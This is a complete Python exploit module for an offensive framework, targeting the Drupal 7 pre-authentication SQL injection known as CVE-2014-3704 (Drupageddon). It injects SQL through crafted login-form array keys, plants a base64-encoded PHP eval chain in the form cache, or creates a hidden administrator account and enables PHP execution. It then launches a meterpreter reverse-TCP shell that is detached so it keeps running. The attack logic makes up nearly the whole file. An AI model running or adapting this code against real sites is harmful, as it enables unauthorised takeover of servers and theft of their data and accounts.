Drupal 7.x SQLi RCE (CVE-2014-3704)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Drupal 7.x pre-auth SQLi — SA-CORE-2014-005 / CVE-2014-3704 (Drupageddon).

Two exploitation methods (Metasploit-compatible):

- **form-cache** (default): inject a malicious ``cache_form`` entry and trigger
  PHP execution via a POP chain (``php_eval`` / ``drupal_render``).
- **user-post**: create an administrator via SQLi, enable the PHP filter module,
  and execute the payload in an article preview.
"""

import base64
import re
import time
from typing import Dict, Optional, Tuple
from urllib.parse import quote

import requests

from kittysploit import *
from lib.protocols.http.drupal import DRUPAL_LOGIN_ARRAY_WARNING, Drupal
from lib.protocols.http.http_client import Http_client

_FORM_BUILD_ID_RE = re.compile(r'name="form_build_id"\s+value="([^"]+)"')
_FORM_TOKEN_RE = re.compile(r'name="form_token"\s+value="([^"]+)"')
_ENABLED_MODULE_RE = re.compile(
    r'name="([^"]+)"\s+value="1"\s+checked="checked"\s+class="form-checkbox"'
)
_ENABLED_PERM_RE = re.compile(r'name="([^"]*)"\s+value="([^"]*)"\s+checked="checked"')


class Module(Exploit, Http_client, Drupal):

    __info__ = {
        "name": "Drupal 7.x SQLi RCE (CVE-2014-3704)",
        "description": (
            "Exploits SA-CORE-2014-005 / CVE-2014-3704 (Drupageddon) in Drupal 7.x "
            "before 7.32: unauthenticated SQL injection via crafted array keys on the "
            "user login form. Delivers the selected PHP payload via form-cache injection "
            "(default) or the authenticated user-post PHP filter chain."
        ),
        "author": [
            "SektionEins",
            "WhiteWinterWolf",
            "Christian Mehlmauer",
            "Brandon Perry",
            "Stefan Horst",
            "Claudio Viviani",
            "KittySploit Team",
        ],
        "cve": ["CVE-2014-3704"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "payload": {
            "default": "payloads/singles/cmd/php/meterpreter_reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://www.drupal.org/SA-CORE-2014-005",
            "https://nvd.nist.gov/vuln/detail/CVE-2014-3704",
            "https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html",
            "https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/",
        ],
        "tags": [
            "drupal",
            "sqli",
            "unauthenticated",
            "rce",
            "cve-2014-3704",
            "drupageddon",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["drupal"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {"drupal": 0.4},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/user/login", "/sites/default", "CHANGELOG.txt"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    method = OptChoice(
        "form-cache",
        "Exploitation method",
        required=False,
        choices=["form-cache", "user-post"],
    )
    path = OptString("/", "Drupal base path (e.g. /drupal when not installed at web root)", required=False)
    table_prefix = OptString("", "Database table prefix if any (e.g. drupal_)", required=False)
    wait = OptInteger(
        15,
        "Seconds to wait on form-cache trigger HTTP (payload keeps the worker busy)",
        required=False,
        advanced=True,
    )
    admin_role = OptString(
        "administrator",
        "Administrator role name (user-post method only)",
        required=False,
        advanced=True,
    )

    def _base_uri(self) -> str:
        return self.drupal_normalize_base_path(getattr(self, "path", "/"))

    def _q_path(self, q: str) -> str:
        base = self._base_uri()
        safe_q = quote((q or "").lstrip("/"), safe="")
        if base == "/":
            return f"/?q={safe_q}"
        return f"{base}/?q={safe_q}"

    def _encode_form(self, fields: Dict[str, str]) -> str:
        return "&".join(
            f"{quote(str(key), safe='')}={quote(str(value), safe='')}"
            for key, value in fields.items()
        )

    def _drupal_q_get(self, q: str, *, cookies: dict = None, timeout: float = None):
        return self.http_request(
            method="GET",
            path=self._q_path(q),
            cookies=cookies,
            timeout=timeout,
        )

    def _drupal_q_post(
        self,
        q: str,
        fields: Dict[str, str],
        *,
        cookies: dict = None,
        timeout: float = None,
        allow_redirects: bool = True,
        headers: dict = None,
        data: str = None,
    ):
        req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
        if headers:
            req_headers.update(headers)
        body = data if data is not None else self._encode_form(fields)
        return self.http_request(
            method="POST",
            path=self._q_path(q),
            data=body,
            headers=req_headers,
            cookies=cookies,
            timeout=timeout,
            allow_redirects=allow_redirects,
        )

    @staticmethod
    def _is_timeout_error(exc: BaseException) -> bool:
        if isinstance(exc, requests.exceptions.Timeout):
            return True
        return "timed out" in str(exc).lower()

    def _drupal_q_post_allow_timeout(
        self,
        q: str,
        fields: Optional[Dict[str, str]] = None,
        *,
        timeout: float,
        allow_redirects: bool = True,
        cookies: dict = None,
        headers: dict = None,
        data: str = None,
        timeout_reason: str = "request may block while payload executes",
    ) -> bool:
        """POST and treat read timeouts as success when the server blocks on payload execution."""
        try:
            self._drupal_q_post(
                q,
                fields or {},
                timeout=timeout,
                allow_redirects=allow_redirects,
                cookies=cookies,
                headers=headers,
                data=data,
            )
            return True
        except requests.exceptions.RequestException as exc:
            if self._is_timeout_error(exc):
                print_status(
                    f"Request timed out after {int(timeout)}s (expected — {timeout_reason})"
                )
                return True
            print_warning(f"Request failed: {exc}")
            return False

    def _warn_loopback_lhost(self) -> None:
        lhost = str(self.lhost or "").strip().lower()
        rhost = str(getattr(self, "rhost", "") or self.target or "").strip()
        if lhost in ("127.0.0.1", "localhost", "::1"):
            print_warning(
                "lhost is loopback — a target in Docker/VM cannot connect back to 127.0.0.1. "
                "Use an IP reachable from the target (e.g. set lhost 172.17.0.1 for Docker)."
            )
            return
        try:
            from core.utils.lhost_resolver import is_docker_bridge_host

            if is_docker_bridge_host(rhost) and lhost.startswith("192.168."):
                print_warning(
                    f"Target {rhost} is on a Docker bridge but lhost={lhost} is a LAN address. "
                    "Prefer the bridge gateway (usually 172.17.0.1) so the reverse shell stays up."
                )
        except Exception:
            pass

    def _response_cookies(self, response, existing: dict = None) -> dict:
        merged = dict(existing or {})
        if response is not None and getattr(response, "cookies", None):
            merged.update(response.cookies.get_dict())
        return merged

    def _extract_form_ids(self, html: str) -> Tuple[Optional[str], Optional[str]]:
        if not html:
            return None, None
        build = _FORM_BUILD_ID_RE.search(html)
        token = _FORM_TOKEN_RE.search(html)
        return (
            build.group(1) if build else None,
            token.group(1) if token else None,
        )

    def _php_payload_code(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        raw = str(payload or "").strip()
        if not raw:
            return ""
        # Detach from the HTTP request lifecycle so PHP-FPM/Apache aborting the
        # client connection does not kill the reverse shell mid-callback.
        return (
            "@ignore_user_abort(1);"
            "@set_time_limit(0);"
            "@ini_set('max_execution_time','0');"
            "if(function_exists('fastcgi_finish_request')){@fastcgi_finish_request();}"
            + raw
        )

    def _sqli_probe_key(self) -> str:
        return quote("name[0 ;SELECT 1;;#  ]", safe="")

    def _build_probe_body(self) -> str:
        return self.drupal_build_login_block_body(
            name_key=self._sqli_probe_key(),
            form_id="user_login_block",
        )

    def _response_indicates_sqli(self, response) -> bool:
        if not response:
            return False
        return DRUPAL_LOGIN_ARRAY_WARNING in (response.text or "")

    def _cache_table(self) -> str:
        return self.drupal_table("cache_form", self.table_prefix or "")

    def _sql_insert_cache(self, cid: str, value: str) -> str:
        curly_open = self.random_text(8)
        curly_close = self.random_text(8)
        escaped = value.replace("{", curly_open).replace("}", curly_close)
        escaped = self.drupal_sql_quote(escaped)
        return (
            f"INSERT INTO {self._cache_table()} (cid, data, expire, created, serialized) "
            f"VALUES ('{cid}', REPLACE(REPLACE('{escaped}', '{curly_open}', "
            f"CHAR({ord('{')})), '{curly_close}', CHAR({ord('}')})), -1, 0, 1);"
        )

    def _exploit_formcache(self, php_payload: str) -> bool:
        form_build_id = f"form-{self.random_text(43)}"
        print_status(f"Form-cache method — form_build_id={form_build_id}")

        cleanup = (
            f"cache_clear_all(array('form_{form_build_id}', "
            f"'form_state_{form_build_id}'), 'cache_form');"
        )
        eval_source = cleanup + php_payload
        eval_b64 = base64.b64encode(eval_source.encode()).decode()
        eval_php = f"<?php eval(base64_decode('{eval_b64}'));"

        state = (
            'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
            'i:0;s:22:"modules/php/php.module";}}}'
        )
        form = (
            "a:6:{"
            's:5:"#type";s:4:"form";'
            's:8:"#parents";a:1:{i:0;s:4:"user";}'
            's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
            's:16:"#defaults_loaded";b:1;'
            's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
            f's:9:"#children";s:{len(eval_php)}:"{eval_php}";'
            "}"
        )

        sql = self._sql_insert_cache(f"form_state_{form_build_id}", state)
        sql += self._sql_insert_cache(f"form_{form_build_id}", form)
        sql += "SELECT SLEEP(666);"

        inject_fields = {
            "form_id": "user_login",
            "form_build_id": "",
            f"name[0;{sql}#]": "",
            "name[0]": "",
            "op": "Log in",
            "pass": self.random_text(8),
        }

        print_status("Injecting malicious cache_form entries via login SQLi...")
        inject_timeout = max(int(self.wait or 15), 5)
        self._drupal_q_post_allow_timeout(
            "user/login",
            inject_fields,
            timeout=inject_timeout,
            allow_redirects=True,
            timeout_reason="SQLi ends with SELECT SLEEP",
        )

        time.sleep(1)
        print_status("Triggering cached form to execute payload...")
        trigger_fields = {
            "form_id": "user_login",
            "form_build_id": form_build_id,
            "name": self.random_text(10),
            "op": "Log in",
            "pass": self.random_text(10),
        }
        self._drupal_q_post_allow_timeout(
            "user/login",
            trigger_fields,
            timeout=inject_timeout,
            allow_redirects=True,
            timeout_reason="PHP payload keeps the HTTP worker busy after callback",
        )
        self.vulnerable()
        return True

    def _sql_insert_user(self, username: str, password_hash: str) -> str:
        users = self.drupal_table("users", self.table_prefix or "")
        safe_user = self.drupal_sql_quote(username)
        safe_hash = self.drupal_sql_quote(password_hash)
        mail = f"{self.random_text(5).lower()}@{self.random_text(5).lower()}.{self.random_text(3).lower()}"
        safe_mail = self.drupal_sql_quote(mail)
        return (
            f"insert into {users} (uid, name, pass, mail, status) "
            f"select max(uid)+1, '{safe_user}', '{safe_hash}', '{safe_mail}', 1 from {users}"
        )

    def _sql_make_user_admin(self, username: str) -> str:
        users = self.drupal_table("users", self.table_prefix or "")
        users_roles = self.drupal_table("users_roles", self.table_prefix or "")
        role = self.drupal_table("role", self.table_prefix or "")
        safe_user = self.drupal_sql_quote(username)
        safe_role = self.drupal_sql_quote(str(self.admin_role or "administrator"))
        return (
            f"insert into {users_roles} (uid, rid) VALUES "
            f"((select uid from {users} where name='{safe_user}'), "
            f"(select rid from {role} where name = '{safe_role}'))"
        )

    def _exploit_user_post(self, php_payload: str) -> bool:
        print_status("User-post method — creating administrator via SQLi")

        response = self._drupal_q_get("user/login")
        if not response or not response.text:
            print_error("No response from login page")
            return False

        form_build_id, form_token = self._extract_form_ids(response.text)
        if not form_build_id:
            print_error("Could not extract form_build_id from login page")
            return False

        username = self.random_text(10)
        password = self.random_text(10)
        password_hash = self.drupal_hash_password(password)
        if not password_hash:
            print_error("Failed to generate Drupal password hash")
            return False

        sqli = (
            f"{self._sql_insert_user(username, password_hash)}; "
            f"{self._sql_make_user_admin(username)}; "
        )
        inject_fields = {
            f"name[0 ;{sqli}; # ]": self.random_text(10),
            "name[0]": self.random_text(10),
            "pass": self.random_text(10),
            "form_build_id": form_build_id,
            "form_id": "user_login",
            "op": "Log in",
        }

        print_status(f"Creating administrator {username}:{password}")
        response = self._drupal_q_post("user/login", inject_fields)
        if not response:
            print_error("User creation request failed")
            return False

        print_status(f"Logging in as {username}:{password}")
        login_fields = {
            "name": username,
            "pass": password,
            "form_build_id": form_build_id,
            "form_id": "user_login",
            "op": "Log in",
        }
        response = self._drupal_q_post(
            "user/login",
            login_fields,
            allow_redirects=False,
        )
        if not response or response.status_code not in (302, 303):
            print_error("Administrator login failed")
            return False

        cookies = self._response_cookies(response)

        print_status("Fetching enabled modules")
        response = self._drupal_q_get("admin/modules", cookies=cookies)
        if not response or not response.text:
            print_error("Could not load admin/modules")
            return False

        form_build_id, form_token = self._extract_form_ids(response.text)
        if not form_build_id or not form_token:
            print_error("Could not parse module form tokens")
            return False

        module_post = {
            "modules[Core][php][enable]": "1",
            "form_build_id": form_build_id,
            "form_token": form_token,
            "form_id": "system_modules",
            "op": "Save configuration",
        }
        for match in _ENABLED_MODULE_RE.finditer(response.text):
            module_post[match.group(1)] = "1"

        print_status("Enabling PHP filter module")
        response = self._drupal_q_post(
            "admin/modules/list/confirm",
            module_post,
            cookies=cookies,
        )
        cookies = self._response_cookies(response, cookies)
        if not response:
            print_error("Failed to enable PHP module")
            return False

        print_status("Granting PHP code format to administrators")
        response = self._drupal_q_get("admin/people/permissions", cookies=cookies)
        if not response or not response.text:
            print_error("Could not load permissions page")
            return False

        form_build_id, form_token = self._extract_form_ids(response.text)
        role_name = str(self.admin_role or "administrator")
        role_match = re.search(
            rf'for="edit-(\d+)-[^"]+">{re.escape(role_name)}:',
            response.text,
            re.IGNORECASE,
        )
        if not role_match:
            print_error(f"Could not resolve role id for '{role_name}'")
            return False

        role_id = role_match.group(1)
        perm_post = {
            f"{role_id}[use text format php_code]": "use text format php_code",
            "form_build_id": form_build_id,
            "form_token": form_token,
            "form_id": "user_admin_permissions",
            "op": "Save permissions",
        }
        for match in _ENABLED_PERM_RE.finditer(response.text):
            perm_post[match.group(1)] = match.group(2)

        response = self._drupal_q_post(
            "admin/people/permissions",
            perm_post,
            cookies=cookies,
        )
        cookies = self._response_cookies(response, cookies)
        if not response:
            print_error("Failed to update permissions")
            return False

        print_status("Preparing article preview with PHP payload")
        response = self._drupal_q_get("node/add/article", cookies=cookies)
        if not response or not response.text:
            print_error("Could not open article creation page")
            return False

        form_build_id, form_token = self._extract_form_ids(response.text)
        if not form_build_id or not form_token:
            print_error("Could not parse article form tokens")
            return False

        boundary = f"----KittySploit{self.random_text(16)}"
        php_body = f"<?php {php_payload} ?>"
        parts = [
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="title"\r\n\r\n'
            f"{self.random_text(10)}\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="form_build_id"\r\n\r\n'
            f"{form_build_id}\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="form_token"\r\n\r\n'
            f"{form_token}\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="form_id"\r\n\r\n'
            f"article_node_form\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="body[und][0][format]"\r\n\r\n'
            f"php_code\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="body[und][0][value]"\r\n\r\n'
            f"{php_body}\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="op"\r\n\r\n'
            f"Preview\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="name"\r\n\r\n'
            f"{username}\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="status"\r\n\r\n'
            f"1\r\n",
            f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="promote"\r\n\r\n'
            f"1\r\n",
            f"--{boundary}--\r\n",
        ]
        multipart_body = "".join(parts)

        print_status("Triggering payload via article preview...")
        trigger_timeout = max(int(self.wait or 5), 1)
        self._drupal_q_post_allow_timeout(
            "node/add/article",
            {},
            cookies=cookies,
            headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
            data=multipart_body,
            timeout=trigger_timeout,
            timeout_reason="PHP payload keeps the HTTP worker busy after callback",
        )
        self.vulnerable()
        return True

    def check(self):
        info = self.drupal_detect()
        if not info.get("found"):
            return {
                "vulnerable": False,
                "reason": "Drupal not detected",
                "confidence": "low",
            }

        version = info.get("version")
        if version and not version.startswith("7."):
            return {
                "vulnerable": False,
                "reason": f"Drupal {version} detected (CVE-2014-3704 affects 7.x < 7.32)",
                "confidence": "medium",
            }
        if version and not self.drupal_version_less_than(version, "7.32"):
            return {
                "vulnerable": False,
                "reason": f"Drupal {version} >= 7.32 (patched)",
                "confidence": "high",
            }

        response = self.drupal_post_login_block(
            self._build_probe_body(),
            path=self.drupal_login_block_path(),
        )
        if self._response_indicates_sqli(response):
            reason = "SQLi probe triggered Drupal login array warning"
            if version:
                reason = f"Drupal {version}: {reason}"
            return {"vulnerable": True, "reason": reason, "confidence": "high"}

        if version and self.drupal_version_less_than(version, "7.32"):
            return {
                "vulnerable": True,
                "reason": (
                    f"Drupal {version} < 7.32 (likely vulnerable); "
                    "probe did not return mb_strlen warning (display_errors off?)"
                ),
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": "Probe did not indicate SA-CORE-2014-005",
            "confidence": "medium",
        }

    def run(self):
        php_payload = self._php_payload_code()
        if not php_payload:
            print_error("No payload generated — set payload and configure lhost/lport")
            return False

        method = str(self.method or "form-cache").strip().lower()
        print_status("CVE-2014-3704 / SA-CORE-2014-005 — Drupal 7 Drupageddon")
        print_status(f"Target: {self.target}:{self.port}  base={self._base_uri()}  method={method}")

        check = self.check()
        if not check.get("vulnerable"):
            print_error(check.get("reason", "Target does not appear vulnerable"))
            self.not_vulnerable()
            return False

        print_success(check.get("reason", "Target appears vulnerable"))
        self._warn_loopback_lhost()

        if method == "form-cache":
            return self._exploit_formcache(php_payload)
        if method == "user-post":
            return self._exploit_user_post(php_payload)

        print_error(f"Unknown method '{method}' — use form-cache or user-post")
        return False